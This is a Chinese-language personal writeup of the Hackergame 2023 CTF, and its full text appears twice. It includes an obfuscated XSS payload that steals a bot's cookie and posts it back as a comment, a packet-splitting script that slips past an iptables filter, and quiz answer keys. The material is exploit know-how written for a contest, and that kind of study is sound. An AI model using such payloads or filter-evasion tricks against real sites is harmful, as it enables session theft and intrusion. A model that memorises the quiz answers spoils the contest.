Hackergame 2023 Writeup
很久没有打CTF了了(ง •̀_•́)ง 老了,这次只在第三天打了一个晚上,刷到rk~60就没再打了。
排行榜上怎么这么多mcfx!
和以前的 Hackergame 一样,氛围好棒,反而没有那么多赛棍,这样的CTF好好玩!
Web
签到题:Hackergame 启动
同时点击 “开始录制” 和 “播放示例音频” 就好啦。Linux 又没有回声削除!
更深更暗
F12搜索Fla就好。
赛博井字棋
可以 override 对方的棋子,抓包修改即可。
组委会模拟器
出题人非常佛心,甚至给了source map,我选择使用 burp 在app.js中,foreach处理消息的那段代码里插入一行 匹配到就fetch 就好啦。
HTTP 集邮册
5 种状态码
很简单,对着文档随便收集一下就好啦。
返回首行无状态码的响应
GET /\r\n
突然就过了!后来才意识到是 HTTP/0.9
12 种状态码
绞尽脑汁也只找到 10 个,后来想到,对哦,我不是可以自动化嘛!
使用 Burp Intruder, 类似这样(请使用burp抓包后修改)
Host: x\r\n
$x$: 123\r\n
\r\n
aaa\r\n\r\n
然后添加列表:Http Headers, 就可以自动化了!
微积分计算小练习 2.0
一道 XSS 题目,题目中提示了可以弹出窗口,那肯定就是这样啦
先说xss点:
function updateElement(selector, html) {
document.querySelector(selector).innerHTML = html;
}
updateElement("#score", "你的得分是 <b>0</b> 分");
updateElement("#comment", "你留下的评论:3934253744");
提交评论部分会被引号包裹,禁用了 & > < ' ( ) [反引号] . , %
这些字符。
双引号没被过滤,所以可以使用 "+123+"
这样的payload实现访问变量,但是无法使用函数。所以,我们就只能在 window 里面找了。结合open,很容易想到 window.name
。
鉴于访问练习网站时会使用token自动登陆,所以payload也就这样传到自己的token所对应的页面上就好啦。
传入 "+name+"
即可。
下一步是,如何将结果传出?题目环境不与互联网连接,所以只能考虑将结果再次插入回评论中。又因为可能存在特殊字符,我们最好把它编码一下。
最终,我构造出的payload为:
<body><script>
let x= ()=>{
open("http://web/?token=[redacted]");
}
window.onload = x;
setInterval(x, 1000);
setTimeout(()=>{open("http://web/result?a=b%3C%3C", `<img src=x onerror="eval(atob('ZnVuY3Rpb24gdG9IZXgoc3RyLGhleCl7CiAgdHJ5ewogICAgaGV4ID0gdW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KHN0cikpCiAgICAuc3BsaXQoJycpLm1hcChmdW5jdGlvbih2KXsKICAgICAgcmV0dXJuIHYuY2hhckNvZGVBdCgwKS50b1N0cmluZygxNikKICAgIH0pLmpvaW4oJycpCiAgfQogIGNhdGNoKGUpewogICAgaGV4ID0gc3RyCiAgICBjb25zb2xlLmxvZygnaW52YWxpZCB0ZXh0IGlucHV0OiAnICsgc3RyKQogIH0KICByZXR1cm4gaGV4Cn0KbGV0IHggPSAoKT0+ewoKZG9jdW1lbnQucXVlcnlTZWxlY3RvcigidGV4dGFyZWEiKS52YWx1ZT10b0hleChkb2N1bWVudC5jb29raWUpLnNsaWNlKDAsMjApOwpkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCJidXR0b24iKS5jbGljaygpOwp9CnNldEludGVydmFsKHgsMTAwMCk='))""/>`)}, 2000)
</script></body>
EOF
这里被题目坑了很久,一直在让bot访问http://202.38.93.111:10052
,打开附件才发现对方实际上访问的是 http://web/
, 浪费了很多时间。(出题人!好歹在题目中说一下嘛!)
General
猫咪小测
- 想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》,应当前往中国科学技术大学西区图书馆的哪一层?(30 分)
提示:是一个非负整数。
答案 12 - 今年 arXiv 网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文,请问论文中作者计算出的鸡密度函数的上限为 10 的多少次方每立方秒差距?(30 分)
提示:是一个非负整数。
答案 23 - 为了支持 TCP BBR 拥塞控制算法,在编译 Linux 内核时应该配置好哪一条内核选项?(20 分)
提示:输入格式为 CONFIG_XXXXX,如 CONFIG_SCHED_SMT。
答案 CONFIG_TCP_CONG_BBR - 🥒🥒🥒:「我……从没觉得写类型标注有意思过」。在一篇论文中,作者给出了能够让 Python 的类型检查器 MyPY mypy 陷入死循环的代码,并证明 Python 的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上?(20 分)
提示:会议的大写英文简称,比如 ISCA、CCS、ICML。
答案 ECOOP
这道题是询问 Google Bard 得到的。
奶奶的睡前 flag 故事
尽管一开始就知道是哪个洞,但一开始对自己的速度过于自信,用 010 editor 手动修了半天,还是不行。后来还是老老实实去用工具了...
https://github.com/frankthetank-music/Acropalypse-Multi-Tool
虫
这不就是 SSTV 嘛,群友可熟悉了!
JSON ⊂ YAML?
JSON ⊄ YAML 1.1
两者对于数字和unicode字符的处理都不一样,所以很容易过。
JSON ⊄ YAML 1.2
没有在网络上找到适合的资料,虽然换行那个可以触发错误,但是我们只能输入一行,试了一下\r在本地是可以通过的,但是webtty会强行转换成\r\n,即使用burp抓websocket包改掉也会被转换。
后来发现,YAML1.2不支持两个同样的键名,所以 {"":1, "":2}
就可以成功触发yaml1.2报错。
Git? Git!
哼,反正肯定在那一堆deflate的数据里就是了。
Docker for Everyone
教你如何使用docker
本来还以为要用--privilleged
逃逸出去,结果发现只是权限问题,把 /flag 挂载进docker容器里面,再用root读取就可以啦。
高频率星球
cat typescript | ansi2txt | col -b
然后手动批量替换一下某些特殊标记就好啦。‘
低带宽星球
小试牛刀
cwebp -z 9 image.png -o image2.webp
得到的文件只有168b,但是再往下压缩我就没有办法了....
Komm, süsser Flagge
我的 POST
由于我对 iptables 并不熟悉,这道题做起来对我难度还挺大的。
在网上查找资料得知, bm 算法无法正确处理不同包中的tcp, 所以只要分包一下就好了。
from pwn import *
from time import sleep
c = remote("202.38.93.111", 18080)
c.send(b'POS')
sleep(0.1)
c.send(b"T / HTTP/1.1\r\nHost:x\r\nContent-length:101\r\n\r\n[redacted]")
print(c.recv(1024))
我的 P
与第一题一样的问题,-A myTCP-2 -p tcp -m u32 --u32 "0 >> 22 & 0x3C @ 12 >> 26 @ 0 >> 24 = 0x50" -j REJECT --reject-with tcp-reset
这样去匹配也无法正确处理分包。
我的 GET
这道题就不会了,看 yuuta 的 writeup 好像是要用 tcp options 那几个字节。我有在用raw ip包做,但是一直收到rst,后来才知道是可能是内核检测到抽象的tcp包给我返回的...
Math
我不会数学,所以只能稍微看看————
惜字如金 2.0
我不会数学,我还不会爆破嘛!
#!/usr/bin/python3
# Th siz of th fil may reduc after XZRJification
import string
cod_dict = []
cod_dict += ['nymeh1niwemflcir}echaet']
cod_dict += ['a3g7}kidgojernoetlsup?h']
cod_dict += ['ulw!f5soadrhwnrsnstnoeq']
cod_dict += ['ct{l-findiehaai{oveatas']
cod_dict += ['ty9kxborszstguyd?!blm-p']
qwq = ""
def check_equals(left, right):
# check whether left == right or not
# print(left,right)
if left != right: exit(1)
def get_cod_dict():
# prepar th cod dict
# check_equals(set(len(s) for s in cod_dict), {24})
# return ''.join(cod_dict)
return qwq
def decrypt_data(input_codes):
# retriev th decrypted data
_cod_dict = get_cod_dict()
# print(_cod_dict)
output_chars = [_cod_dict[c] for c in input_codes]
return ''.join(output_chars)
if __name__ == '__main__':
for j in range(23):
c0 = cod_dict[0][:j] + cod_dict[0][j] + cod_dict[0][j:]
for j in range(23):
c1 = cod_dict[1][:j] + cod_dict[1][j] + cod_dict[1][j:]
for j in range(23):
c2 = cod_dict[2][:j] + cod_dict[2][j] + cod_dict[2][j:]
for j in range(23):
c3 = cod_dict[3][:j] + cod_dict[3][j] + cod_dict[3][j:]
for j in range(23):
c4 = cod_dict[4][:j] + cod_dict[4][j] + cod_dict[4][j:]
qwq = c0+c1+c2+c3+c4
# check som obvious things
# check_equals('creat', 'cr' + 'at')
# check_equals('referer', 'refer' + 'rer')
# check th flag
flag = decrypt_data([53, 41, 85, 109, 75, 1, 33, 48, 77, 90,
17, 118, 36, 25, 13, 89, 90, 3, 63, 25,
31, 77, 27, 60, 3, 118, 24, 62, 54, 61,
25, 63, 77, 36, 5, 32, 60, 67, 113, 28])
# check_equals(flag.index('flag{'), 0)
# check_equals(flag.index('}'), len(flag) - 1)
# print th flag
if flag.startswith("flag{") and flag.endswith("}"): print(flag)
暴力出奇迹!(诶?今年是几几年?
剩下的数学题是真的不会了。
AI
小型大语言模型星球
You Are Smart
持续对它洗脑就可以了。
Accepted
我不会 AI,我还不会爆破嘛!
剩下两个,一个要输出 hackergame ,一个要输出 emoji ,可能是要用逆推之类的方法了?不太懂 AI 。
Bianry
二进制,头大...
为什么要打开 /flag 😡
LD_PRELOAD
-static -static-libgcc
只会这个了😭
很久没有打CTF了了(ง •̀_•́)ง 老了,这次只在第三天打了一个晚上,刷到rk~60就没再打了。
排行榜上怎么这么多mcfx!
和以前的 Hackergame 一样,氛围好棒,反而没有那么多赛棍,这样的CTF好好玩!
Web
签到题:Hackergame 启动
同时点击 “开始录制” 和 “播放示例音频” 就好啦。Linux 又没有回声削除!
更深更暗
F12搜索Fla就好。
赛博井字棋
可以 override 对方的棋子,抓包修改即可。
组委会模拟器
出题人非常佛心,甚至给了source map,我选择使用 burp 在app.js中,foreach处理消息的那段代码里插入一行 匹配到就fetch 就好啦。
HTTP 集邮册
5 种状态码
很简单,对着文档随便收集一下就好啦。
返回首行无状态码的响应
GET /\r\n
突然就过了!后来才意识到是 HTTP/0.9
12 种状态码
绞尽脑汁也只找到 10 个,后来想到,对哦,我不是可以自动化嘛!
使用 Burp Intruder, 类似这样(请使用burp抓包后修改)
Host: x\r\n
$x$: 123\r\n
\r\n
aaa\r\n\r\n
然后添加列表:Http Headers, 就可以自动化了!
微积分计算小练习 2.0
一道 XSS 题目,题目中提示了可以弹出窗口,那肯定就是这样啦
先说xss点:
function updateElement(selector, html) {
document.querySelector(selector).innerHTML = html;
}
updateElement("#score", "你的得分是 <b>0</b> 分");
updateElement("#comment", "你留下的评论:3934253744");
提交评论部分会被引号包裹,禁用了 & > < ' ( ) [反引号] . , %
这些字符。
双引号没被过滤,所以可以使用 "+123+"
这样的payload实现访问变量,但是无法使用函数。所以,我们就只能在 window 里面找了。结合open,很容易想到 window.name
。
鉴于访问练习网站时会使用token自动登陆,所以payload也就这样传到自己的token所对应的页面上就好啦。
传入 "+name+"
即可。
下一步是,如何将结果传出?题目环境不与互联网连接,所以只能考虑将结果再次插入回评论中。又因为可能存在特殊字符,我们最好把它编码一下。
最终,我构造出的payload为:
<body><script>
let x= ()=>{
open("http://web/?token=[redacted]");
}
window.onload = x;
setInterval(x, 1000);
setTimeout(()=>{open("http://web/result?a=b%3C%3C", `<img src=x onerror="eval(atob('ZnVuY3Rpb24gdG9IZXgoc3RyLGhleCl7CiAgdHJ5ewogICAgaGV4ID0gdW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KHN0cikpCiAgICAuc3BsaXQoJycpLm1hcChmdW5jdGlvbih2KXsKICAgICAgcmV0dXJuIHYuY2hhckNvZGVBdCgwKS50b1N0cmluZygxNikKICAgIH0pLmpvaW4oJycpCiAgfQogIGNhdGNoKGUpewogICAgaGV4ID0gc3RyCiAgICBjb25zb2xlLmxvZygnaW52YWxpZCB0ZXh0IGlucHV0OiAnICsgc3RyKQogIH0KICByZXR1cm4gaGV4Cn0KbGV0IHggPSAoKT0+ewoKZG9jdW1lbnQucXVlcnlTZWxlY3RvcigidGV4dGFyZWEiKS52YWx1ZT10b0hleChkb2N1bWVudC5jb29raWUpLnNsaWNlKDAsMjApOwpkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCJidXR0b24iKS5jbGljaygpOwp9CnNldEludGVydmFsKHgsMTAwMCk='))""/>`)}, 2000)
</script></body>
EOF
这里被题目坑了很久,一直在让bot访问http://202.38.93.111:10052
,打开附件才发现对方实际上访问的是 http://web/
, 浪费了很多时间。(出题人!好歹在题目中说一下嘛!)
General
猫咪小测
- 想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》,应当前往中国科学技术大学西区图书馆的哪一层?(30 分)
提示:是一个非负整数。
答案 12 - 今年 arXiv 网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文,请问论文中作者计算出的鸡密度函数的上限为 10 的多少次方每立方秒差距?(30 分)
提示:是一个非负整数。
答案 23 - 为了支持 TCP BBR 拥塞控制算法,在编译 Linux 内核时应该配置好哪一条内核选项?(20 分)
提示:输入格式为 CONFIG_XXXXX,如 CONFIG_SCHED_SMT。
答案 CONFIG_TCP_CONG_BBR - 🥒🥒🥒:「我……从没觉得写类型标注有意思过」。在一篇论文中,作者给出了能够让 Python 的类型检查器 MyPY mypy 陷入死循环的代码,并证明 Python 的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上?(20 分)
提示:会议的大写英文简称,比如 ISCA、CCS、ICML。
答案 ECOOP
这道题是询问 Google Bard 得到的。
奶奶的睡前 flag 故事
尽管一开始就知道是哪个洞,但一开始对自己的速度过于自信,用 010 editor 手动修了半天,还是不行。后来还是老老实实去用工具了...
https://github.com/frankthetank-music/Acropalypse-Multi-Tool
虫
这不就是 SSTV 嘛,群友可熟悉了!
JSON ⊂ YAML?
JSON ⊄ YAML 1.1
两者对于数字和unicode字符的处理都不一样,所以很容易过。
JSON ⊄ YAML 1.2
没有在网络上找到适合的资料,虽然换行那个可以触发错误,但是我们只能输入一行,试了一下\r在本地是可以通过的,但是webtty会强行转换成\r\n,即使用burp抓websocket包改掉也会被转换。
后来发现,YAML1.2不支持两个同样的键名,所以 {"":1, "":2}
就可以成功触发yaml1.2报错。
Git? Git!
哼,反正肯定在那一堆deflate的数据里就是了。
Docker for Everyone
教你如何使用docker
本来还以为要用--privilleged
逃逸出去,结果发现只是权限问题,把 /flag 挂载进docker容器里面,再用root读取就可以啦。
高频率星球
cat typescript | ansi2txt | col -b
然后手动批量替换一下某些特殊标记就好啦。‘
低带宽星球
小试牛刀
cwebp -z 9 image.png -o image2.webp
得到的文件只有168b,但是再往下压缩我就没有办法了....
Komm, süsser Flagge
我的 POST
由于我对 iptables 并不熟悉,这道题做起来对我难度还挺大的。
在网上查找资料得知, bm 算法无法正确处理不同包中的tcp, 所以只要分包一下就好了。
from pwn import *
from time import sleep
c = remote("202.38.93.111", 18080)
c.send(b'POS')
sleep(0.1)
c.send(b"T / HTTP/1.1\r\nHost:x\r\nContent-length:101\r\n\r\n[redacted]")
print(c.recv(1024))
我的 P
与第一题一样的问题,-A myTCP-2 -p tcp -m u32 --u32 "0 >> 22 & 0x3C @ 12 >> 26 @ 0 >> 24 = 0x50" -j REJECT --reject-with tcp-reset
这样去匹配也无法正确处理分包。
我的 GET
这道题就不会了,看 yuuta 的 writeup 好像是要用 tcp options 那几个字节。我有在用raw ip包做,但是一直收到rst,后来才知道是可能是内核检测到抽象的tcp包给我返回的...
Math
我不会数学,所以只能稍微看看————
惜字如金 2.0
我不会数学,我还不会爆破嘛!
#!/usr/bin/python3
# Th siz of th fil may reduc after XZRJification
import string
cod_dict = []
cod_dict += ['nymeh1niwemflcir}echaet']
cod_dict += ['a3g7}kidgojernoetlsup?h']
cod_dict += ['ulw!f5soadrhwnrsnstnoeq']
cod_dict += ['ct{l-findiehaai{oveatas']
cod_dict += ['ty9kxborszstguyd?!blm-p']
qwq = ""
def check_equals(left, right):
# check whether left == right or not
# print(left,right)
if left != right: exit(1)
def get_cod_dict():
# prepar th cod dict
# check_equals(set(len(s) for s in cod_dict), {24})
# return ''.join(cod_dict)
return qwq
def decrypt_data(input_codes):
# retriev th decrypted data
_cod_dict = get_cod_dict()
# print(_cod_dict)
output_chars = [_cod_dict[c] for c in input_codes]
return ''.join(output_chars)
if __name__ == '__main__':
for j in range(23):
c0 = cod_dict[0][:j] + cod_dict[0][j] + cod_dict[0][j:]
for j in range(23):
c1 = cod_dict[1][:j] + cod_dict[1][j] + cod_dict[1][j:]
for j in range(23):
c2 = cod_dict[2][:j] + cod_dict[2][j] + cod_dict[2][j:]
for j in range(23):
c3 = cod_dict[3][:j] + cod_dict[3][j] + cod_dict[3][j:]
for j in range(23):
c4 = cod_dict[4][:j] + cod_dict[4][j] + cod_dict[4][j:]
qwq = c0+c1+c2+c3+c4
# check som obvious things
# check_equals('creat', 'cr' + 'at')
# check_equals('referer', 'refer' + 'rer')
# check th flag
flag = decrypt_data([53, 41, 85, 109, 75, 1, 33, 48, 77, 90,
17, 118, 36, 25, 13, 89, 90, 3, 63, 25,
31, 77, 27, 60, 3, 118, 24, 62, 54, 61,
25, 63, 77, 36, 5, 32, 60, 67, 113, 28])
# check_equals(flag.index('flag{'), 0)
# check_equals(flag.index('}'), len(flag) - 1)
# print th flag
if flag.startswith("flag{") and flag.endswith("}"): print(flag)
暴力出奇迹!(诶?今年是几几年?
剩下的数学题是真的不会了。
AI
小型大语言模型星球
You Are Smart
持续对它洗脑就可以了。
Accepted
我不会 AI,我还不会爆破嘛!
剩下两个,一个要输出 hackergame ,一个要输出 emoji ,可能是要用逆推之类的方法了?不太懂 AI 。
Bianry
二进制,头大...
为什么要打开 /flag 😡
LD_PRELOAD
-static -static-libgcc
只会这个了😭